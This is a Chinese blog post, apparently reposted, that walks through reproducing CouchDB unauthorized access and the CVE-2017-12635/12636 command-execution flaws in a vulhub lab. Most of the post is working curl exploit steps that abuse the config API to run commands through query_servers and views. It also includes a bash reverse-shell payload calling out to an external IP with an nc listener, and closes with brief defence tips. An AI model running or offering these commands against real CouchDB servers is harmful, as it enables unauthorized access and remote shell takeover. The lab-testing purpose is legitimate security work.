微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

CouchDB未授权访问漏洞记录端口:5984、6984,CVE-2017-12635,CVE-2017-12636复现失败

复现exp失败

漏洞简介以及危害

Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的Nosql数据库
应用广广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部⻔的市场框架,Meebo,用在其社交平台(web和应用程序),认会在5984端口开放Restful的API接口口,如果使用
SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server认开启时没有进行行行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
在官方方配置文文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger
basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

影响版本

小于 1.7.0 以及 小于 2.1.1

漏洞环境

vulnhub

Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。本环境启动的是1.6.0版本,如果你想测试2.1.0版本,可以启动CVE-2017-12635

漏洞利用

CVE-2017-12636是需要登录用户方可触发,如果不知道目标管理员密码,可以利CVE-2017-12635CVE-017-12635先【增加一个管理员用户】,如果无须帐号密码,就可通过未授权访问进行命令执行
同样,记得在Burp的拦截端口添加一个5984

进入环境,并启动

cd couchdb/CVE-2017-12636/
docker-compose up -d

未授权访问测试

curl http://192.168.0.100:5984
curl http://192.168.0.100:5984/_config

任意命令执行漏洞

# 本机python运行http服务(可以不运行这个步骤,这里只是做curl测试用的)
python -m SimpleHTTPServer 8888

1.6.0 下

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

反弹写法(第一个请求修改

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/merver' -d '"bash -i >& /dev/tcp/115.159.150.2/1231 0>&1"'

nc -lvp 1231

其中,`vulhub:vulhub`为管理员账号密码。

一个请求是添加一个名字为`cmd`的`query_servers`,其值为`"id >/tmp/success"`,这就是我们后面待执行的命令。

第二、三个请求是添加一个Database和Document,这里添加了后面才能查询

第四个请求就是在这个Database里进行查询,因为我将language设置为`cmd`,这里就会用到我第一步里添加的名为`cmd`的`query_servers`,最后触发命令执行。

2.1.0 下

# 2.1.0中修改了1.6.0用到的两个API
# Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。我们带上账号密码访问/_membership即可
curl http://<your-ip>:5984/_membership

# 利用(跟1.6.0类似) curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/CVE-2017-12636_is_success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'    #先增加一个Database和一个Document
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
#Couchdb 2.x删除了_temp_view,所以我们为了触发query_servers中定义的命令,需要添加一个_view
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
#增加_view的同时即触发了query_servers中的命令。

exp地址

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

nmap扫描

nmap -p 5984 --script "couchdb-stats.nse" <target_ip>

防御手段

  • 绑定指定ip
  • 设置访问密

原文地址:https://www.jb51.cc/wenti/3283951.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐